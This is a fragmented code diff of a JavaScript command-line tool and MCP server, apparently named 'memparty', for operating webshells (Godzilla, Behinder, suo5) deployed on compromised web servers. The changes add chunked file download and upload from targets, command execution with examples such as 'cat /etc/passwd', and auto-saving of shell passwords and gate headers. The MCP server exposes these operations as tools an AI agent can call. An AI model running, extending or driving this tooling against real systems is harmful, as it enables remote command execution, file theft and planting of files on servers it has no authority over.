const argv = os === "windows" ? ["cmd.exe", "/c", command] : ["/bin/sh", "-c", command];
|
|
@@ -829,7 +1123,7 @@ async function execGodzilla(url, pass, key, command, options = {}) {
|
|
|
829
1123
|
...argv.map((arg, i) => [`arg-${i}`, Buffer.from(arg, "utf8")])
|
|
830
1124
|
];
|
|
831
1125
|
try {
|
|
832
|
-
const output = await callMethod("execCommand", params);
|
|
1126
|
+
const output = await session.callMethod("execCommand", params);
|
|
833
1127
|
return {
|
|
834
1128
|
ok: true,
|
|
835
1129
|
tool: "godzilla",
|
|
@@ -839,13 +1133,198 @@ async function execGodzilla(url, pass, key, command, options = {}) {
|
|
|
839
1133
|
durationMs: Date.now() - started
|
|
840
1134
|
};
|
|
841
1135
|
} catch (err) {
|
|
842
|
-
|
|
843
|
-
|
|
1136
|
+
return fail(errMsg(err));
|
|
1137
|
+
}
|
|
1138
|
+
}
|
|
1139
|
+
var DEFAULT_CHUNK = 1024 * 1024;
|
|
1140
|
+
var MAX_REMOTE_SIZE = 2147483647;
|
|
1141
|
+
var CHUNK_ATTEMPTS = 3;
|
|
1142
|
+
function fileParams(pathBytes, extra) {
|
|
1143
|
+
return [["fileName", pathBytes], ...extra];
|
|
1144
|
+
}
|
|
1145
|
+
async function downloadGodzilla(url, pass, key, remotePath, options = {}) {
|
|
1146
|
+
const started = Date.now();
|
|
1147
|
+
const fail = (error) => ({
|
|
1148
|
+
ok: false,
|
|
1149
|
+
tool: "godzilla",
|
|
1150
|
+
url,
|
|
1151
|
+
direction: "download",
|
|
1152
|
+
remotePath,
|
|
1153
|
+
error,
|
|
1154
|
+
durationMs: Date.now() - started
|
|
1155
|
+
});
|
|
1156
|
+
let session;
|
|
1157
|
+
try {
|
|
1158
|
+
session = await openGodzillaSession(url, pass, key, options);
|
|
1159
|
+
} catch (err) {
|
|
1160
|
+
return fail(errMsg(err));
|
|
1161
|
+
}
|
|
1162
|
+
const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
|
|
1163
|
+
let sizeText;
|
|
1164
|
+
try {
|
|
1165
|
+
sizeText = decodeServerText(
|
|
1166
|
+
await session.callMethod(
|
|
1167
|
+
"bigFileDownload",
|
|
1168
|
+
fileParams(pathBytes, [
|
|
1169
|
+
["mode", Buffer.from("fileSize")],
|
|
1170
|
+
["position", Buffer.from("0")],
|
|
1171
|
+
["readByteNum", Buffer.from("0")]
|
|
1172
|
+
])
|
|
1173
|
+
)
|
|
1174
|
+
).trim();
|
|
1175
|
+
} catch (err) {
|
|
1176
|
+
return fail(errMsg(err));
|
|
1177
|
+
}
|
|
1178
|
+
if (!/^\d+$/.test(sizeText)) {
|
|
1179
|
+
return fail(`cannot get remote file size \u2014 server said: ${JSON.stringify(sizeText)}`);
|
|
1180
|
+
}
|
|
1181
|
+
const size = Number.parseInt(sizeText, 10);
|
|
1182
|
+
if (size > MAX_REMOTE_SIZE) {
|
|
1183
|
+
return fail(
|
|
1184
|
+
`remote file is ${size} bytes \u2014 the Godzilla payload cannot handle files over 2 GiB`
|
|
1185
|
+
);
|
|
1186
|
+
}
|
|
1187
|
+
const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
|
|
1188
|
+
const parts = [];
|
|
1189
|
+
let downloaded = 0;
|
|
1190
|
+
for (; ; ) {
|
|
1191
|
+
if (size > 0 && downloaded >= size) break;
|
|
1192
|
+
if (size === 0 && parts.length > 0) break;
|
|
1193
|
+
const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded);
|
|
1194
|
+
let chunk = null;
|
|
1195
|
+
let serverSays = "";
|
|
1196
|
+
for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) {
|
|
1197
|
+
try {
|
|
1198
|
+
const res = await session.callMethod(
|
|
1199
|
+
"bigFileDownload",
|
|
1200
|
+
fileParams(pathBytes, [
|
|
1201
|
+
["mode", Buffer.from("read")],
|
|
1202
|
+
["position", Buffer.from(String(downloaded))],
|
|
1203
|
+
["readByteNum", Buffer.from(String(want))]
|
|
1204
|
+
])
|
|
1205
|
+
);
|
|
1206
|
+
if (res.length === want || res.length + downloaded === size) {
|
|
1207
|
+
chunk = res;
|
|
1208
|
+
} else {
|
|
1209
|
+
serverSays = decodeServerText(res).trim();
|
|
1210
|
+
}
|
|
1211
|
+
} catch (err) {
|
|
1212
|
+
serverSays = errMsg(err);
|
|
1213
|
+
}
|
|
1214
|
+
}
|
|
1215
|
+
if (chunk === null) {
|
|
1216
|
+
return fail(
|
|
1217
|
+
`read failed at offset ${downloaded}/${size} \u2014 server said: ${JSON.stringify(serverSays)}`
|
|
1218
|
+
);
|
|
844
1219
|
}
|
|
1220
|
+
parts.push(chunk);
|
|
1221
|
+
downloaded += chunk.length;
|
|
1222
|
+
}
|
|
1223
|
+
const data = Buffer.concat(parts);
|
|
1224
|
+
if (data.length !== size) {
|
|
845
1225
|
return fail(
|
|
846
|
-
`
|
|
1226
|
+
`incomplete download: got ${data.length} of ${size} bytes \u2014 the file changed during transfer?`
|
|
847
1227
|
);
|
|
848
1228
|
}
|
|
1229
|
+
return {
|
|
1230
|
+
ok: true,
|
|
1231
|
+
tool: "godzilla",
|
|
1232
|
+
url,
|
|
1233
|
+
direction: "download",
|
|
1234
|
+
remotePath,
|
|
1235
|
+
bytes: data.length,
|
|
1236
|
+
data,
|
|
1237
|
+
durationMs: Date.now() - started
|
|
1238
|
+
};
|
|
1239
|
+
}
|
|
1240
|
+
async function uploadGodzilla(url, pass, key, remotePath, data, options = {}) {
|
|
1241
|
+
const started = Date.now();
|
|
1242
|
+
const fail = (error) => ({
|
|
1243
|
+
ok: false,
|
|
1244
|
+
tool: "godzilla",
|
|
1245
|
+
url,
|
|
1246
|
+
direction: "upload",
|
|
1247
|
+
remotePath,
|
|
1248
|
+
error,
|
|
1249
|
+
durationMs: Date.now() - started
|
|
1250
|
+
});
|
|
1251
|
+
let session;
|
|
1252
|
+
try {
|
|
1253
|
+
session = await openGodzillaSession(url, pass, key, options);
|
|
1254
|
+
} catch (err) {
|
|
1255
|
+
return fail(errMsg(err));
|
|
1256
|
+
}
|
|
1257
|
+
const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
|
|
1258
|
+
const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
|
|
1259
|
+
if (data.length <= chunkSize) {
|
|
1260
|
+
let text;
|
|
1261
|
+
try {
|
|
1262
|
+
text = decodeServerText(
|
|
1263
|
+
await session.callMethod("uploadFile", fileParams(pathBytes, [["fileValue", data]]))
|
|
1264
|
+
).trim();
|
|
1265
|
+
} catch (err) {
|
|
1266
|
+
return fail(errMsg(err));
|
|
1267
|
+
}
|
|
1268
|
+
if (text !== "ok") {
|
|
1269
|
+
return fail(`server said: ${JSON.stringify(text)}`);
|
|
1270
|
+
}
|
|
1271
|
+
} else {
|
|
1272
|
+
let offset = 0;
|
|
1273
|
+
while (offset < data.length) {
|
|
1274
|
+
const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length));
|
|
1275
|
+
let ok = false;
|
|
1276
|
+
let serverSays = "";
|
|
1277
|
+
for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) {
|
|
1278
|
+
try {
|
|
1279
|
+
const res = await session.callMethod(
|
|
1280
|
+
"bigFileUpload",
|
|
1281
|
+
fileParams(pathBytes, [
|
|
1282
|
+
["fileContents", chunk],
|
|
1283
|
+
["position", Buffer.from(String(offset))]
|
|
1284
|
+
])
|
|
1285
|
+
);
|
|
1286
|
+
serverSays = decodeServerText(res).trim();
|
|
1287
|
+
ok = serverSays === "ok";
|
|
1288
|
+
} catch (err) {
|
|
1289
|
+
serverSays = errMsg(err);
|
|
1290
|
+
}
|
|
1291
|
+
}
|
|
1292
|
+
if (!ok) {
|
|
1293
|
+
return fail(
|
|
1294
|
+
`upload failed at offset ${offset}/${data.length} \u2014 server said: ${JSON.stringify(serverSays)}`
|
|
1295
|
+
);
|
|
1296
|
+
}
|
|
1297
|
+
offset += chunk.length;
|
|
1298
|
+
}
|
|
1299
|
+
}
|
|
1300
|
+
try {
|
|
1301
|
+
const sizeText = decodeServerText(
|
|
1302
|
+
await session.callMethod(
|
|
1303
|
+
"bigFileDownload",
|
|
1304
|
+
fileParams(pathBytes, [
|
|
1305
|
+
["mode", Buffer.from("fileSize")],
|
|
1306
|
+
["position", Buffer.from("0")],
|
|
1307
|
+
["readByteNum", Buffer.from("0")]
|
|
1308
|
+
])
|
|
1309
|
+
)
|
|
1310
|
+
).trim();
|
|
1311
|
+
if (!/^\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) {
|
|
1312
|
+
return fail(
|
|
1313
|
+
`upload finished but remote size mismatch \u2014 sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`
|
|
1314
|
+
);
|
|
1315
|
+
}
|
|
1316
|
+
} catch (err) {
|
|
1317
|
+
return fail(`upload finished but size verification failed: ${errMsg(err)}`);
|
|
1318
|
+
}
|
|
1319
|
+
return {
|
|
1320
|
+
ok: true,
|
|
1321
|
+
tool: "godzilla",
|
|
1322
|
+
url,
|
|
1323
|
+
direction: "upload",
|
|
1324
|
+
remotePath,
|
|
1325
|
+
bytes: data.length,
|
|
1326
|
+
durationMs: Date.now() - started
|
|
1327
|
+
};
|
|
849
1328
|
}
|
|
850
1329
|
|
|
851
1330
|
// src/connect/suo5.ts
|
|
@@ -1186,6 +1665,42 @@ function saveShellMeta(projectName, shellName, meta) {
|
|
|
1186
1665
|
writeProjects(projects);
|
|
1187
1666
|
return shell;
|
|
1188
1667
|
}
|
|
1668
|
+
function sanitizeName(name) {
|
|
1669
|
+
const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
1670
|
+
return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
|
|
1671
|
+
}
|
|
1672
|
+
function autoSaveShell(conn) {
|
|
1673
|
+
let host = "target";
|
|
1674
|
+
let port = "";
|
|
1675
|
+
try {
|
|
1676
|
+
const u = new URL(conn.url);
|
|
1677
|
+
host = u.hostname || host;
|
|
1678
|
+
port = u.port;
|
|
1679
|
+
} catch {
|
|
1680
|
+
}
|
|
1681
|
+
const projectName = sanitizeName(host) || "target";
|
|
1682
|
+
const existing = getProject(projectName)?.shells ?? {};
|
|
1683
|
+
let shellName = Object.keys(existing).find(
|
|
1684
|
+
(n) => existing[n].url === conn.url && existing[n].tool === conn.tool
|
|
1685
|
+
);
|
|
1686
|
+
if (!shellName) {
|
|
1687
|
+
const base = sanitizeName(conn.tool) || "shell";
|
|
1688
|
+
shellName = base;
|
|
1689
|
+
if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
|
|
1690
|
+
for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
|
|
1691
|
+
}
|
|
1692
|
+
saveShell(projectName, shellName, {
|
|
1693
|
+
url: conn.url,
|
|
1694
|
+
tool: conn.tool,
|
|
1695
|
+
pass: conn.pass,
|
|
1696
|
+
key: conn.key,
|
|
1697
|
+
headerName: conn.headerName,
|
|
1698
|
+
headerValue: conn.headerValue,
|
|
1699
|
+
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1700
|
+
insecure: conn.insecure
|
|
1701
|
+
});
|
|
1702
|
+
return `${projectName}/${shellName}`;
|
|
1703
|
+
}
|
|
1189
1704
|
function resolveConnection(ref, flags) {
|
|
1190
1705
|
let stored;
|
|
1191
1706
|
let targetName;
|
|
@@ -1195,7 +1710,7 @@ function resolveConnection(ref, flags) {
|
|
|
1195
1710
|
let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
|
|
1196
1711
|
const project = getProject(projectName);
|
|
1197
1712
|
if (!project) {
|
|
1198
|
-
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty
|
|
1713
|
+
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
|
|
1199
1714
|
}
|
|
1200
1715
|
if (!shellName) {
|
|
1201
1716
|
const names = Object.keys(project.shells);
|
|
@@ -1254,7 +1769,7 @@ function parseExtraHeaders(lines) {
|
|
|
1254
1769
|
function registerConnectCommand(program) {
|
|
1255
1770
|
program.command("connect").description(
|
|
1256
1771
|
"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
|
|
1257
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1772
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1258
1773
|
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
1259
1774
|
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
1260
1775
|
"--header-name <name>",
|
|
@@ -1264,7 +1779,7 @@ function registerConnectCommand(program) {
|
|
|
1264
1779
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1265
1780
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
1266
1781
|
new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
1267
|
-
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1782
|
+
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
1268
1783
|
"after",
|
|
1269
1784
|
`
|
|
1270
1785
|
Examples:
|
|
@@ -1273,14 +1788,15 @@ Examples:
|
|
|
1273
1788
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1274
1789
|
--header-value YdwTyuQr
|
|
1275
1790
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
1276
|
-
$ memparty connect web222 # saved target, see 'memparty
|
|
1791
|
+
$ memparty connect web222 # saved target, see 'memparty list'
|
|
1277
1792
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
1278
1793
|
|
|
1279
1794
|
Note: shells generated by MemShellParty check a gate header \u2014 copy
|
|
1280
1795
|
shellToolConfig.headerName/headerValue from the \`gen --json\` output
|
|
1281
1796
|
(default header name is "User-Agent"), or the shell stays silent.
|
|
1282
|
-
|
|
1283
|
-
just pass the name.
|
|
1797
|
+
A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
1798
|
+
--no-save); afterwards just pass the name. See 'memparty list',
|
|
1799
|
+
'memparty note' and 'memparty remove' to manage saved targets.
|
|
1284
1800
|
`
|
|
1285
1801
|
).action(async (name, opts, cmd) => {
|
|
1286
1802
|
const globals = cmd.optsWithGlobals();
|
|
@@ -1298,8 +1814,7 @@ just pass the name.
|
|
|
1298
1814
|
insecure: opts.insecure
|
|
1299
1815
|
});
|
|
1300
1816
|
} catch (err) {
|
|
1301
|
-
|
|
1302
|
-
`);
|
|
1817
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1303
1818
|
process.exitCode = 1;
|
|
1304
1819
|
return;
|
|
1305
1820
|
}
|
|
@@ -1327,6 +1842,11 @@ just pass the name.
|
|
|
1327
1842
|
process.exitCode = 1;
|
|
1328
1843
|
return;
|
|
1329
1844
|
}
|
|
1845
|
+
let savedAs;
|
|
1846
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1847
|
+
savedAs = autoSaveShell(conn);
|
|
1848
|
+
conn.targetName = savedAs;
|
|
1849
|
+
}
|
|
1330
1850
|
logOp({
|
|
1331
1851
|
category: "connect",
|
|
1332
1852
|
action: "connect",
|
|
@@ -1339,12 +1859,13 @@ just pass the name.
|
|
|
1339
1859
|
error: result.error
|
|
1340
1860
|
});
|
|
1341
1861
|
if (opts.json) {
|
|
1342
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1862
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1343
1863
|
`);
|
|
1344
1864
|
} else if (result.ok) {
|
|
1345
1865
|
process.stdout.write(`OK ${result.tool} ${result.url}
|
|
1346
1866
|
${result.detail ?? ""}
|
|
1347
1867
|
`);
|
|
1868
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1348
1869
|
} else {
|
|
1349
1870
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1350
1871
|
${result.error ?? ""}
|
|
@@ -1372,7 +1893,7 @@ function parseExtraHeaders2(lines) {
|
|
|
1372
1893
|
function registerExecCommand(program) {
|
|
1373
1894
|
program.command("exec").description(
|
|
1374
1895
|
"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
|
|
1375
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1896
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1376
1897
|
new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
1377
1898
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
|
|
1378
1899
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
@@ -1382,7 +1903,7 @@ function registerExecCommand(program) {
|
|
|
1382
1903
|
).option(
|
|
1383
1904
|
"--header-value <value>",
|
|
1384
1905
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1385
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1906
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
1386
1907
|
"after",
|
|
1387
1908
|
`
|
|
1388
1909
|
Examples:
|
|
@@ -1390,7 +1911,7 @@ Examples:
|
|
|
1390
1911
|
--header-value qSGAJScj --cmd "whoami"
|
|
1391
1912
|
$ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1392
1913
|
--header-value YdwTyuQr --cmd "cat /etc/passwd"
|
|
1393
|
-
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty
|
|
1914
|
+
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
|
|
1394
1915
|
$ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
|
|
1395
1916
|
--cmd "ipconfig /all" --json
|
|
1396
1917
|
|
|
@@ -1414,8 +1935,7 @@ the OS inside its payload, so --os does not apply.
|
|
|
1414
1935
|
insecure: opts.insecure
|
|
1415
1936
|
});
|
|
1416
1937
|
} catch (err) {
|
|
1417
|
-
|
|
1418
|
-
`);
|
|
1938
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1419
1939
|
process.exitCode = 1;
|
|
1420
1940
|
return;
|
|
1421
1941
|
}
|
|
@@ -1450,6 +1970,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
1450
1970
|
process.exitCode = 1;
|
|
1451
1971
|
return;
|
|
1452
1972
|
}
|
|
1973
|
+
let savedAs;
|
|
1974
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1975
|
+
savedAs = autoSaveShell(conn);
|
|
1976
|
+
conn.targetName = savedAs;
|
|
1977
|
+
}
|
|
1453
1978
|
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
1454
1979
|
logOp({
|
|
1455
1980
|
category: "exec",
|
|
@@ -1465,11 +1990,12 @@ the OS inside its payload, so --os does not apply.
|
|
|
1465
1990
|
error: result.error
|
|
1466
1991
|
});
|
|
1467
1992
|
if (opts.json) {
|
|
1468
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1993
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1469
1994
|
`);
|
|
1470
1995
|
} else if (result.ok) {
|
|
1471
1996
|
process.stdout.write(result.output ?? "");
|
|
1472
1997
|
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
1998
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1473
1999
|
} else {
|
|
1474
2000
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1475
2001
|
${result.error ?? ""}
|
|
@@ -1868,13 +2394,17 @@ for a single payload. The --json output includes the gate header
|
|
|
1868
2394
|
// src/commands/log.ts
|
|
1869
2395
|
import { Option as Option4 } from "commander";
|
|
1870
2396
|
function registerLogCommand(program) {
|
|
1871
|
-
program.command("log").description("Show the global operation log
|
|
2397
|
+
program.command("log").description("Show the global operation log").addOption(
|
|
1872
2398
|
new Option4("--category <name>", "filter by operation category").choices([
|
|
1873
2399
|
"gen",
|
|
1874
2400
|
"probe",
|
|
1875
2401
|
"connect",
|
|
1876
2402
|
"exec",
|
|
1877
|
-
"
|
|
2403
|
+
"download",
|
|
2404
|
+
"upload",
|
|
2405
|
+
"save",
|
|
2406
|
+
"note",
|
|
2407
|
+
"remove"
|
|
1878
2408
|
])
|
|
1879
2409
|
).option(
|
|
1880
2410
|
"--target <name>",
|
|
@@ -1885,6 +2415,7 @@ function registerLogCommand(program) {
|
|
|
1885
2415
|
Examples:
|
|
1886
2416
|
$ memparty log # latest 50 operations
|
|
1887
2417
|
$ memparty log --category exec # only command executions
|
|
2418
|
+
$ memparty log --category save # only target saves
|
|
1888
2419
|
$ memparty log --target hw222 # everything against project hw222
|
|
1889
2420
|
$ memparty log --category exec --target 192.168.31.222 --json
|
|
1890
2421
|
`
|
|
@@ -1915,8 +2446,69 @@ Examples:
|
|
|
1915
2446
|
// src/mcp/server.ts
|
|
1916
2447
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
1917
2448
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
2449
|
+
import { writeFileSync as writeFileSync3 } from "fs";
|
|
1918
2450
|
import { z } from "zod";
|
|
1919
2451
|
|
|
2452
|
+
// src/core/localfile.ts
|
|
2453
|
+
import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
|
|
2454
|
+
import { dirname as dirname3, join as join4, resolve } from "path";
|
|
2455
|
+
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
2456
|
+
function remoteBasename(remotePath) {
|
|
2457
|
+
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
2458
|
+
const parts = trimmed.split(/[/\\]/).filter((p) => p.length > 0);
|
|
2459
|
+
return parts.length > 0 ? parts[parts.length - 1] : "";
|
|
2460
|
+
}
|
|
2461
|
+
function resolveDownloadPath(remotePath, localArg, force) {
|
|
2462
|
+
const name = remoteBasename(remotePath);
|
|
2463
|
+
let target;
|
|
2464
|
+
if (localArg === void 0) {
|
|
2465
|
+
if (!name) {
|
|
2466
|
+
throw new Error(
|
|
2467
|
+
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o`
|
|
2468
|
+
);
|
|
2469
|
+
}
|
|
2470
|
+
target = name;
|
|
2471
|
+
} else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
|
|
2472
|
+
if (!name) {
|
|
2473
|
+
throw new Error(
|
|
2474
|
+
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
2475
|
+
);
|
|
2476
|
+
}
|
|
2477
|
+
target = join4(localArg, name);
|
|
2478
|
+
} else {
|
|
2479
|
+
target = localArg;
|
|
2480
|
+
}
|
|
2481
|
+
const abs = resolve(target);
|
|
2482
|
+
if (existsSync3(abs)) {
|
|
2483
|
+
if (statSync(abs).isDirectory()) {
|
|
2484
|
+
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
2485
|
+
}
|
|
2486
|
+
if (!force) {
|
|
2487
|
+
throw new Error(`local file ${target} already exists \u2014 pass --force to overwrite`);
|
|
2488
|
+
}
|
|
2489
|
+
}
|
|
2490
|
+
const parent = dirname3(abs);
|
|
2491
|
+
if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
|
|
2492
|
+
throw new Error(`local directory ${parent} does not exist`);
|
|
2493
|
+
}
|
|
2494
|
+
return abs;
|
|
2495
|
+
}
|
|
2496
|
+
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
2497
|
+
if (!existsSync3(localPath)) {
|
|
2498
|
+
throw new Error(`local file ${localPath} does not exist`);
|
|
2499
|
+
}
|
|
2500
|
+
const stat = statSync(localPath);
|
|
2501
|
+
if (!stat.isFile()) {
|
|
2502
|
+
throw new Error(`local path ${localPath} is not a regular file`);
|
|
2503
|
+
}
|
|
2504
|
+
if (stat.size > maxBytes) {
|
|
2505
|
+
throw new Error(
|
|
2506
|
+
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
2507
|
+
);
|
|
2508
|
+
}
|
|
2509
|
+
return readFileSync6(localPath);
|
|
2510
|
+
}
|
|
2511
|
+
|
|
1920
2512
|
// src/version.ts
|
|
1921
2513
|
import { createRequire } from "module";
|
|
1922
2514
|
var require2 = createRequire(import.meta.url);
|
|
@@ -2018,6 +2610,33 @@ var execInput = {
|
|
|
2018
2610
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2019
2611
|
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2020
2612
|
};
|
|
2613
|
+
var transferConnInput = {
|
|
2614
|
+
name: execInput.name,
|
|
2615
|
+
url: execInput.url,
|
|
2616
|
+
tool: execInput.tool,
|
|
2617
|
+
pass: execInput.pass,
|
|
2618
|
+
key: execInput.key,
|
|
2619
|
+
headerName: execInput.headerName,
|
|
2620
|
+
headerValue: execInput.headerValue,
|
|
2621
|
+
insecure: execInput.insecure,
|
|
2622
|
+
timeoutMs: execInput.timeoutMs,
|
|
2623
|
+
remoteCharset: z.string().optional().describe(
|
|
2624
|
+
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
2625
|
+
)
|
|
2626
|
+
};
|
|
2627
|
+
var downloadInput = {
|
|
2628
|
+
...transferConnInput,
|
|
2629
|
+
remotePath: z.string().describe("remote file path to download"),
|
|
2630
|
+
localPath: z.string().optional().describe(
|
|
2631
|
+
"local destination (default: ./<remote basename>; an existing directory keeps the basename)"
|
|
2632
|
+
),
|
|
2633
|
+
force: z.boolean().optional().describe("overwrite the local file when it already exists (default: refuse)")
|
|
2634
|
+
};
|
|
2635
|
+
var uploadInput = {
|
|
2636
|
+
...transferConnInput,
|
|
2637
|
+
localPath: z.string().describe("local file to upload (max 64 MiB)"),
|
|
2638
|
+
remotePath: z.string().describe("remote destination path (overwritten when it exists)")
|
|
2639
|
+
};
|
|
2021
2640
|
var targetSaveInput = {
|
|
2022
2641
|
project: z.string().describe("project name (created when missing)"),
|
|
2023
2642
|
shell: z.string().describe("shell name inside the project"),
|
|
@@ -2183,11 +2802,139 @@ function createMcpServer(client) {
|
|
|
2183
2802
|
}
|
|
2184
2803
|
);
|
|
2185
2804
|
server.registerTool(
|
|
2186
|
-
"connect_test",
|
|
2805
|
+
"connect_test",
|
|
2806
|
+
{
|
|
2807
|
+
title: "Test shell connection",
|
|
2808
|
+
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
|
|
2809
|
+
inputSchema: connectInput
|
|
2810
|
+
},
|
|
2811
|
+
async (args) => {
|
|
2812
|
+
try {
|
|
2813
|
+
const conn = resolveConnection(args.name, {
|
|
2814
|
+
url: args.url,
|
|
2815
|
+
tool: args.tool,
|
|
2816
|
+
pass: args.pass,
|
|
2817
|
+
key: args.key,
|
|
2818
|
+
headerName: args.headerName,
|
|
2819
|
+
headerValue: args.headerValue,
|
|
2820
|
+
insecure: args.insecure
|
|
2821
|
+
});
|
|
2822
|
+
const common = {
|
|
2823
|
+
headerName: conn.headerName,
|
|
2824
|
+
headerValue: conn.headerValue,
|
|
2825
|
+
extraHeaders: conn.extraHeaders,
|
|
2826
|
+
timeoutMs: args.timeoutMs,
|
|
2827
|
+
insecure: conn.insecure
|
|
2828
|
+
};
|
|
2829
|
+
let result;
|
|
2830
|
+
switch (conn.tool) {
|
|
2831
|
+
case "godzilla":
|
|
2832
|
+
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
2833
|
+
break;
|
|
2834
|
+
case "behinder":
|
|
2835
|
+
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
2836
|
+
break;
|
|
2837
|
+
case "suo5":
|
|
2838
|
+
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
2839
|
+
break;
|
|
2840
|
+
default:
|
|
2841
|
+
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2842
|
+
}
|
|
2843
|
+
let savedAs;
|
|
2844
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2845
|
+
savedAs = autoSaveShell(conn);
|
|
2846
|
+
conn.targetName = savedAs;
|
|
2847
|
+
}
|
|
2848
|
+
logOp({
|
|
2849
|
+
category: "connect",
|
|
2850
|
+
action: "connect",
|
|
2851
|
+
targetName: conn.targetName,
|
|
2852
|
+
url: conn.url,
|
|
2853
|
+
tool: conn.tool,
|
|
2854
|
+
